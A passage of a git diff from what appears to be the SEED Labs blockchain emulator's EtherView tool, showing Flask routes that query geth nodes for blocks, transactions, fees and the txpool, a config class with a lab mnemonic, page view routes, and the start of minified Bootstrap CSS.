cls=HexJsonEncoder, indent=5)) + resp.headers['Content-Type'] = 'application/json' + return resp + + +@blockchain.route('/get_txs_from_block/', methods=('GET',)) +def get_txs_from_block(blockNumber): + web3 = connect_to_geth(app.web3_url, app.consensus) + if blockNumber == 'latest': + blockNumber = web3.eth.getBlock('latest').number + + block = web3.eth.get_block(int(blockNumber)) + transactions = {} + for txhash in block.transactions: + tx = web3.eth.get_transaction(txhash.hex()) + transactions[txhash.hex()] = dict(tx) + + resp = Response(json.dumps(transactions, cls=HexJsonEncoder, indent=5)) + resp.headers['Content-Type'] = 'application/json' + return resp + + +@blockchain.route('/get_tx_receipts_from_block/', methods=('GET',)) +def get_tx_receipts_from_block(blockNumber): + web3 = connect_to_geth(app.web3_url, app.consensus) + if blockNumber == 'latest': + blockNumber = web3.eth.getBlock('latest').number + + block = web3.eth.get_block(int(blockNumber)) + transactions = {} + for txhash in block.transactions: + tx = web3.eth.get_transaction_receipt(txhash.hex()) + transactions[txhash.hex()] = dict(tx) + + resp = Response(json.dumps(transactions, cls=HexJsonEncoder, indent=5)) + resp.headers['Content-Type'] = 'application/json' + return resp + + +@blockchain.route('/get_eth_nodes/', methods=('GET',)) +def get_eth_nodes(): + return app.eth_nodes + +@blockchain.route('/get_base_fees/', methods=('GET',)) +def get_base_fees(lastN): + web3 = connect_to_geth(app.web3_url, app.consensus) + latest = web3.eth.getBlock('latest').number + start = latest - int(lastN) + 1 + if start <= 0: + start = 1 + + base_fees = {} + for bk in range(start, latest+1): + block = web3.eth.get_block(bk) + #blocks[bk] = dict(block) + tt = dict(block) + base_fees[bk] = tt['baseFeePerGas'] + + resp = Response(json.dumps(base_fees, cls=HexJsonEncoder, indent=5)) + resp.headers['Content-Type'] = 'application/json' + return resp + +@blockchain.route('/get_gas_limits/', methods=('GET',)) +def get_gas_limits(lastN): + web3 = connect_to_geth(app.web3_url, app.consensus) + latest = web3.eth.getBlock('latest').number + start = latest - int(lastN) + 1 + if start <= 0: + start = 1 + + gas_limits = {} + for bk in range(start, latest+1): + block = web3.eth.get_block(bk) + tt = dict(block) + gas_limits[bk] = tt['gasLimit'] + + resp = Response(json.dumps(gas_limits, cls=HexJsonEncoder, indent=5)) + resp.headers['Content-Type'] = 'application/json' + return resp + +@blockchain.route('/get_txpool_pending/', methods=('GET',)) +def get_txpool_pending(): + pending = {} + for node in app.eth_nodes: + node_info = app.eth_nodes[node] + ip = node_info['ip'] + url = "http://" + ip + ":8545" + web3 = Web3(Web3.HTTPProvider(url)) + web3.middleware_onion.inject(geth_poa_middleware, layer=0) + + txpool = web3.geth.txpool.content() + total = 0 + for key in txpool.pending: + total += len(dict(txpool.pending[key])) + pending[ip] = total + + resp = Response(json.dumps(pending, cls=HexJsonEncoder, indent=5)) + resp.headers['Content-Type'] = 'application/json' + return resp + + +@blockchain.route('/get_accounts') +def get_accounts(): + accounts =[] + + # Get the accounts from the emulator + for address in app.eth_accounts: + item = app.eth_accounts[address] + accounts.append({"address": address, + "name": item["name"], + "type": "emulator"}) + + # Generate local accounts using the mnemonic phrase. + Account.enable_unaudited_hdwallet_features() + local_account_names = app.configure['local_account_names'] + for index in range(len(local_account_names)): + account = Account.from_mnemonic(app.configure['mnemonic_phrase'], + account_path=app.configure['key_derivation_path'].format(index)) + accounts.append({"address": account.address, + "name": local_account_names[index], + "type": "local"}) + + return accounts + +@blockchain.route('/get_web3_providers') +def get_web3_providers(): + providers = [] + for key in app.eth_nodes: + node = app.eth_nodes[key] + providers.append("http://%s:8545" % node['ip']) + + return providers + +@blockchain.route('/get_consensus') +def get_consensus(): + resp = Response(json.dumps(app.consensus, cls=HexJsonEncoder, indent=5)) + resp.headers['Content-Type'] = 'application/json' + return resp diff --git a/tools/Blockchain/EtherView/server/config.py b/tools/Blockchain/EtherView/server/config.py index 74597c93f..e2559ef6b 100644 --- a/tools/Blockchain/EtherView/server/config.py +++ b/tools/Blockchain/EtherView/server/config.py @@ -1,12 +1,12 @@ -class Config(object): - NAME = 'SEED Labs' - CONSENSUS = 'POA' - DEFAULT_URL = 'http://10.154.0.72:8545' - ETH_NODE_NAME_PATTERN = 'Ethereum-POS' - DEFAULT_CHAIN_ID = 1337 - CLIENT_WAITING_TIME = 10 # seconds - - KEY_DERIVATION_PATH = "m/44'/60'/0'/0/{}" - MNEMONIC_PHRASE = "great amazing fun seed lab protect network system " \ - "security prevent attack future" - LOCAL_ACCOUNT_NAMES = ['Alice', 'Bob', 'Charlie', 'David', 'Eve', 'Frank'] +class Config(object): + NAME = 'SEED Labs' + CONSENSUS = 'POA' + DEFAULT_URL = 'http://10.154.0.72:8545' + ETH_NODE_NAME_PATTERN = 'Ethereum-POS' + DEFAULT_CHAIN_ID = 1337 + CLIENT_WAITING_TIME = 10 # seconds + + KEY_DERIVATION_PATH = "m/44'/60'/0'/0/{}" + MNEMONIC_PHRASE = "great amazing fun seed lab protect network system " \ + "security prevent attack future" + LOCAL_ACCOUNT_NAMES = ['Alice', 'Bob', 'Charlie', 'David', 'Eve', 'Frank'] diff --git a/tools/Blockchain/EtherView/server/general/views.py b/tools/Blockchain/EtherView/server/general/views.py index f9869f044..f5938648e 100644 --- a/tools/Blockchain/EtherView/server/general/views.py +++ b/tools/Blockchain/EtherView/server/general/views.py @@ -1,42 +1,42 @@ -from flask import Flask, Blueprint, render_template, redirect, url_for, flash, current_app as app, request - -import os, json - -general = Blueprint('general', __name__) - -@general.route("/") -def home_index(): - return render_template('index.html') - -@general.route("/account-view/") -def account_view(): - emulator_parameters = {} - emulator_parameters["web3_provider"] = app.web3_url - emulator_parameters["client_waiting_time"] = app.configure['client_waiting_time'] - return render_template('general-frontend/account-view.html', data = emulator_parameters) - -@general.route("/block-view/") -def block_view(): - emulator_parameters = {} - emulator_parameters["web3_provider"] = app.web3_url - emulator_parameters["client_waiting_time"] = app.configure['client_waiting_time'] - return render_template('general-frontend/block-view.html', data = emulator_parameters) - - -@general.route('/block/') -def block(blockNumber): - emulator_parameters = {} - emulator_parameters["web3_provider"] = app.web3_url - emulator_parameters["block_number"] = blockNumber - return render_template('general-frontend/one_block.html', data = emulator_parameters) - -@general.route('/tx/') -def transaction(txHash): - emulator_parameters = {} - emulator_parameters["web3_provider"] = app.web3_url - emulator_parameters["tx_hash"] = txHash - return render_template('general-frontend/one_tx.html', data = emulator_parameters) - -@general.route('/txpool/') -def txpool(): +from flask import Flask, Blueprint, render_template, redirect, url_for, flash, current_app as app, request + +import os, json + +general = Blueprint('general', __name__) + +@general.route("/") +def home_index(): + return render_template('index.html') + +@general.route("/account-view/") +def account_view(): + emulator_parameters = {} + emulator_parameters["web3_provider"] = app.web3_url + emulator_parameters["client_waiting_time"] = app.configure['client_waiting_time'] + return render_template('general-frontend/account-view.html', data = emulator_parameters) + +@general.route("/block-view/") +def block_view(): + emulator_parameters = {} + emulator_parameters["web3_provider"] = app.web3_url + emulator_parameters["client_waiting_time"] = app.configure['client_waiting_time'] + return render_template('general-frontend/block-view.html', data = emulator_parameters) + + +@general.route('/block/') +def block(blockNumber): + emulator_parameters = {} + emulator_parameters["web3_provider"] = app.web3_url + emulator_parameters["block_number"] = blockNumber + return render_template('general-frontend/one_block.html', data = emulator_parameters) + +@general.route('/tx/') +def transaction(txHash): + emulator_parameters = {} + emulator_parameters["web3_provider"] = app.web3_url + emulator_parameters["tx_hash"] = txHash + return render_template('general-frontend/one_tx.html', data = emulator_parameters) + +@general.route('/txpool/') +def txpool(): return render_template('general-frontend/txpool.html') \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/static/css/bootstrap.min.css b/tools/Blockchain/EtherView/server/static/css/bootstrap.min.css index 1359b3b72..39e74262f 100644 --- a/tools/Blockchain/EtherView/server/static/css/bootstrap.min.css +++ b/tools/Blockchain/EtherView/server/static/css/bootstrap.min.css @@ -1,7 +1,7 @@ -@charset "UTF-8";/*! - * Bootstrap v5.2.2 (https://getbootstrap.com/) - * Copyright 2011-2022 The Bootstrap Authors - * Copyright 2011-2022 Twitter, Inc. - * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) - */:root{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-rgb:220,53,69;--bs-light-rgb:248,249,250;--bs-dark-rgb:33,37,41;--bs-white-rgb:255,255,255;--bs-black-rgb:0,0,0;--bs-body-color-rgb:33,37,41;--bs-body-bg-rgb:255,255,255;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue","Noto Sans","Liberation Sans",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family:var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight:400;--bs-body-line-height:1.5;--bs-body-color:#212529;--bs-body-bg:#fff;--bs-border-width:1px;--bs-border-style:solid;--bs-border-color:#dee2e6;--bs-border-color-translucent:rgba(0, 0, 0, 0.175);--bs-border-radius:0.375rem;--bs-border-radius-sm:0.25rem;--bs-border-radius-lg:0.5rem;--bs-border-radius-xl:1rem;--bs-border-radius-2xl:2rem;--bs-border-radius-pill:50rem;--bs-link-color:#0d6efd;--bs-link-hover-color:#0a58ca;--bs-code-color:#d63384;--bs-highlight-bg:#fff3cd}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}hr{margin:1rem 0;color:inherit;border:0;border-top:1px solid;opacity:.25}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px){.h1,h1{font-size:2.5rem}}.h2,h2{font-size:calc(1.325rem + .9vw)}@media (min-width:1200px){.h2,h2{font-size:2rem}}.h3,h3{font-size:calc(1.3rem + .6vw)}@media (min-width:1200px){.h3,h3{font-size:1.75rem}}.h4,h4{font-size:calc(1.275rem + .3vw)}@media (min-width:1200px){.h4,h4{font-size:1.5rem}}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}.small,small{font-size:.875em}.mark,mark{padding:.1875em;background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:var(--bs-link-color);text-decoration:underline}a:hover{color:var(--bs-link-hover-color)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.25rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:#6c757d;text-align:left}th{text-align:inherit;text-align:-webkit-match-parent}tbody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none!important}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media (min-width:1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:textfield}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none!important}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:calc(1.625rem + 4.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-1{font-size:5rem}}.display-2{font-size:calc(1.575rem + 3.9vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-2{font-size:4.5rem}}.display-3{font-size:calc(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-3{font-size:4rem}}.display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-4{font-size:3.5rem}}.display-5{font-size:calc(1.425rem + 2.1vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-5{font-size:3rem}}.display-6{font-size:calc(1.375rem + 1.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-6{font-size:2.5rem}}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}.blockquote-footer::before{content:"— "}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid var(--bs-border-color);border-radius:.375rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:.875em;color:#6c757d}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{--bs-gutter-x:1.5rem;--bs-gutter-y:0;width:100%;padding-right:calc(var(--bs-gutter-x) * .5);padding-left:calc(var(--bs-gutter-x) * .5);margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}@media (min-width:1400px){.container,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{max-width:1320px}}.row{--bs-gutter-x:1.5rem;--bs-gutter-y:0;display:flex;flex-wrap:wrap;margin-top:calc(-1 * var(--bs-gutter-y));margin-right:calc(-.5 * var(--bs-gutter-x));margin-left:calc(-.5 * var(--bs-gutter-x))}.row>*{flex-shrink:0;width:100%;max-width:100%;padding-right:calc(var(--bs-gutter-x) * .5);padding-left:calc(var(--bs-gutter-x) * .5);margin-top:var(--bs-gutter-y)}.col{flex:1 0 0%}.row-cols-auto>*{flex:0 0 auto;width:auto}.row-cols-1>*{flex:0 0 auto;width:100%}.row-cols-2>*{flex:0 0 auto;width:50%}.row-cols-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-4>*{flex:0 0 auto;width:25%}.row-cols-5>*{flex:0 0 auto;width:20%}.row-cols-6>*{flex:0 0 auto;width:16.6666666667%}.col-auto{flex:0 0 auto;width:auto}.col-1{flex:0 0 auto;width:8.33333333%}.col-2{flex:0 0 auto;width:16.66666667%}.col-3{flex:0 0 auto;width:25%}.col-4{flex:0 0 auto;width:33.33333333%}.col-5{flex:0 0 auto;width:41.66666667%}.col-6{flex:0 0 auto;width:50%}.col-7{flex:0 0 auto;width:58.33333333%}.col-8{flex:0 0 auto;width:66.66666667%}.col-9{flex:0 0 auto;width:75%}.col-10{flex:0 0 auto;width:83.33333333%}.col-11{flex:0 0 auto;width:91.66666667%}.col-12{flex:0 0 auto;width:100%}.offset-1{margin-left:8.33333333%}.offset-2{margin-left:16.66666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333333%}.offset-5{margin-left:41.66666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333333%}.offset-8{margin-left:66.66666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333333%}.offset-11{margin-left:91.66666667%}.g-0,.gx-0{--bs-gutter-x:0}.g-0,.gy-0{--bs-gutter-y:0}.g-1,.gx-1{--bs-gutter-x:0.25rem}.g-1,.gy-1{--bs-gutter-y:0.25rem}.g-2,.gx-2{--bs-gutter-x:0.5rem}.g-2,.gy-2{--bs-gutter-y:0.5rem}.g-3,.gx-3{--bs-gutter-x:1rem}.g-3,.gy-3{--bs-gutter-y:1rem}.g-4,.gx-4{--bs-gutter-x:1.5rem}.g-4,.gy-4{--bs-gutter-y:1.5rem}.g-5,.gx-5{--bs-gutter-x:3rem}.g-5,.gy-5{--bs-gutter-y:3rem}@media (min-width:576px){.col-sm{flex:1 0 0%}.row-cols-sm-auto>*{flex:0 0 auto;width:auto}.row-cols-sm-1>*{flex:0 0 auto;width:100%}.row-cols-sm-2>*{flex:0 0 auto;width:50%}.row-cols-sm-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-sm-4>*{flex:0 0 auto;width:25%}.row-cols-sm-5>*{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.6666666667%}.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:16.66666667%}.col-sm-3{flex:0 0 auto;width:25%}.col-sm-4{flex:0 0 auto;width:33.33333333%}.col-sm-5{flex:0 0 auto;width:41.66666667%}.col-sm-6{flex:0 0 auto;width:50%}.col-sm-7{flex:0 0 auto;width:58.33333333%}.col-sm-8{flex:0 0 auto;width:66.66666667%}.col-sm-9{flex:0 0 auto;width:75%}.col-sm-10{flex:0 0 auto;width:83.33333333%}.col-sm-11{flex:0 0 auto;width:91.66666667%}.col-sm-12{flex:0 0 auto;width:100%}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333333%}.offset-sm-2{margin-left:16.66666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333333%}.offset-sm-5{margin-left:41.66666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333333%}.offset-sm-8{margin-left:66.66666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333333%}.offset-sm-11{margin-left:91.66666667%}.g-sm-0,.gx-sm-0{--bs-gutter-x:0}.g-sm-0,.gy-sm-0{--bs-gutter-y:0}.g-sm-1,.gx-sm-1{--bs-gutter-x:0.25rem}.g-sm-1,.gy-sm-1{--bs-gutter-y:0.25rem}.g-sm-2,.gx-sm-2{--bs-gutter-x:0.5rem}.g-sm-2,.gy-sm-2{--bs-gutter-y:0.5rem}.g-sm-3,.gx-sm-3{--bs-gutter-x:1rem}.g-sm-3,.gy-sm-3{--bs-gutter-y:1rem}.g-sm-4,.gx-sm-4{--bs-gutter-x:1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y:1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x:3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y:3rem}}@media (min-width:768px){.col-md{flex:1 0 0%}.row-cols-md-auto>*{flex:0 0 auto;width:auto}.row-cols-md-1>*{flex:0 0 auto;width:100%}.row-cols-md-2>*{flex:0 0 auto;width:50%}.row-cols-md-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-md-4>*{flex:0 0 auto;width:25%}.row-cols-md-5>*{flex:0 0 auto;width:20%}.row-cols-md-6>*{flex:0 0 auto;width:16.6666666667%}.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.col-md-2{flex:0 0 auto;width:16.66666667%}.col-md-3{flex:0 0 auto;width:25%}.col-md-4{flex:0 0 auto;width:33.33333333%}.col-md-5{flex:0 0 auto;width:41.66666667%}.col-md-6{flex:0 0 auto;width:50%}.col-md-7{flex:0 0 auto;width:58.33333333%}.col-md-8{flex:0 0 auto;width:66.66666667%}.col-md-9{flex:0 0 auto;width:75%}.col-md-10{flex:0 0 auto;width:83.33333333%}.col-md-11{flex:0 0 auto;width:91.66666667%}.col-md-12{flex:0 0 auto;width:100%}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333333%}.offset-md-2{margin-left:16.66666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333333%}.offset-md-5{margin-left:41.66666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333333%}.offset-md-8{margin-left:66.66666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333333%}.offset-md-11{margin-left:91.66666667%}.g-md-0,.gx-md-0{--bs-gutter-x:0}.g-md-0,.gy-md-0{--bs-gutter-y:0}.g-md-1,.gx-md-1{--bs-gutter-x:0.25rem}.g-md-1,.gy-md-1{--bs-gutter-y:0.25rem}.g-md-2,.gx-md-2{--bs-gutter-x:0.5rem}.g-md-2,.gy-md-2{--bs-gutter-y:0.5rem}.g-md-3,.gx-md-3{--bs-gutter-x:1rem}.g-md-3,.gy-md-3{--bs-gutter-y:1rem}.g-md-4,.gx-md-4{--bs-gutter-x:1.5rem}.g-md-4,.gy-md-4{--bs-gutter-y:1.5rem}.g-md-5,.gx-md-5{--bs-gutter-x:3rem}.g-md-5,.gy-md-5{--bs-gutter-y:3rem}}@media (min-width:992px){.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}.col-lg-auto{flex:0 0 auto;width:auto}.col-lg-1{flex:0 0 auto;width:8.33333333%}.col-lg-2{flex:0 0 auto;width:16.66666667%}.col-lg-3{flex:0 0 auto;width:25%}.col-lg-4{flex:0 0 auto;width:33.33333333%}.col-lg-5{flex:0 0 auto;width:41.66666667%}.col-lg-6{flex:0 0 auto;width:50%}.col-lg-7{flex:0 0 auto;width:58.33333333%}.col-lg-8{flex:0 0 auto;width:66.66666667%}.col-lg-9{flex:0 0 auto;width:75%}.col-lg-10{flex:0 0 auto;width:83.33333333%}.col-lg-11{flex:0 0 auto;width:91.66666667%}.col-lg-12{flex:0 0 auto;width:100%}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333333%}.offset-lg-2{margin-left:16.66666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333333%}.offset-lg-5{margin-left:41.66666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333333%}.offset-lg-8{margin-left:66.66666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333333%}.offset-lg-11{margin-left:91.66666667%}.g-lg-0,.gx-lg-0{--bs-gutter-x:0}.g-lg-0,.gy-lg-0{--bs-gutter-y:0}.g-lg-1,.gx-lg-1{--bs-gutter-x:0.25rem}.g-lg-1,.gy-lg-1{--bs-gutter-y:0.25rem}.g-lg-2,.gx-lg-2{--bs-gutter-x:0.5rem}.g-lg-2,.gy-lg-2{--bs-gutter-y:0.5rem}.g-lg-3,.gx-lg-3{--bs-gutter-x:1rem}.g-lg-3,.gy-lg-3{--bs-gutter-y:1rem}.g-lg-4,.gx-lg-4{--bs-gutter-x:1.5rem}.g-lg-4,.gy-lg-4{--bs-gutter-y:1.5rem}.g-lg-5,.gx-lg-5{--bs-gutter-x:3rem}.g-lg-5,.gy-lg-5{--bs-gutter-y:3rem}}@media (min-width:1200px){.col-xl{flex:1 0 0%}.row-cols-xl-auto>*{flex:0 0 auto;width:auto}.row-cols-xl-1>*{flex:0 0 auto;width:100%}.row-cols-xl-2>*{flex:0 0 auto;width:50%}.row-cols-xl-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-xl-4>*{flex:0 0 auto;width:25%}.row-cols-xl-5>*{flex:0 0 auto;width:20%}.row-cols-xl-6>*{flex:0 0 auto;width:16.6666666667%}.col-xl-auto{flex:0 0 auto;width:auto}.col-xl-1{flex:0 0 auto;width:8.33333333%}.col-xl-2{flex:0 0 auto;width:16.66666667%}.col-xl-3{flex:0 0 auto;width:25%}.col-xl-4{flex:0 0 auto;width:33.33333333%}.col-xl-5{flex:0 0 auto;width:41.66666667%}.col-xl-6{flex:0 0 auto;width:50%}.col-xl-7{flex:0 0 auto;width:58.33333333%}.col-xl-8{flex:0 0 auto;width:66.66666667%}.col-xl-9{flex:0 0 auto;width:75%}.col-xl-10{flex:0 0 auto;width:83.33333333%}.col-xl-11{flex:0 0 auto;width:91.66666667%}.col-xl-12{flex:0 0 auto;width:100%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333333%}.offset-xl-2{margin-left:16.66666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333333%}.offset-xl-5{margin-left:41.66666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333333%}.offset-xl-8{margin-left:66.66666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333333%}.offset-xl-11{margin-left:91.66666667%}.g-xl-0,.gx-xl-0{--bs-gutter-x:0}.g-xl-0,.gy-xl-0{--bs-gutter-y:0}.g-xl-1,.gx-xl-1{--bs-gutter-x:0.25rem}.g-xl-1,.gy-xl-1{--bs-gutter-y:0.25rem}.g-xl-2,.gx-xl-2{--bs-gutter-x:0.5rem}.g-xl-2,.gy-xl-2{--bs-gutter-y:0.5rem}.g-xl-3,.gx-xl-3{--bs-gutter-x:1rem}.g-xl-3,.gy-xl-3{--bs-gutter-y:1rem}.g-xl-4,.gx-xl-4{--bs-gutter-x:1.5rem}.g-xl-4,.gy-xl-4{--bs-gutter-y:1.5rem}.g-xl-5,.gx-xl-5{--bs-gutter-x:3rem}.g-xl-5,.gy-xl-5{--bs-gutter-y:3rem}}@media (min-width:1400px){.col-xxl{flex:1 0 0%}.row-cols-xxl-auto>*{flex:0 0 auto;width:auto}.row-cols-xxl-1>*{flex:0 0 auto;width:100%}.row-cols-xxl-2>*{flex:0 0 auto;width:50%}.row-cols-xxl-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-xxl-4>*{flex:0 0 auto;width:25%}.row-cols-xxl-5>*{flex:0 0 auto;width:20%}.row-cols-xxl-6>*{flex:0 0 auto;width:16.6666666667%}.col-xxl-auto{flex:0 0 auto;width:auto}.col-xxl-1{flex:0 0 auto;width:8.33333333%}.col-xxl-2{flex:0 0 auto;width:16.66666667%}.col-xxl-3{flex:0 0 auto;width:25%}.col-xxl-4{flex:0 0 auto;width:33.33333333%}.col-xxl-5{flex:0 0 auto;width:41.66666667%}.col-xxl-6{flex:0 0 auto;width:50%}.col-xxl-7{flex:0 0 auto;width:58.33333333%}.col-xxl-8{flex:0 0 auto;width:66.66666667%}.col-xxl-9{flex:0 0 auto;width:75%}.col-xxl-10{flex:0 0 auto;width:83.33333333%}.col-xxl-11{flex:0 0 auto;width:91.66666667%}.col-xxl-12{flex:0 0 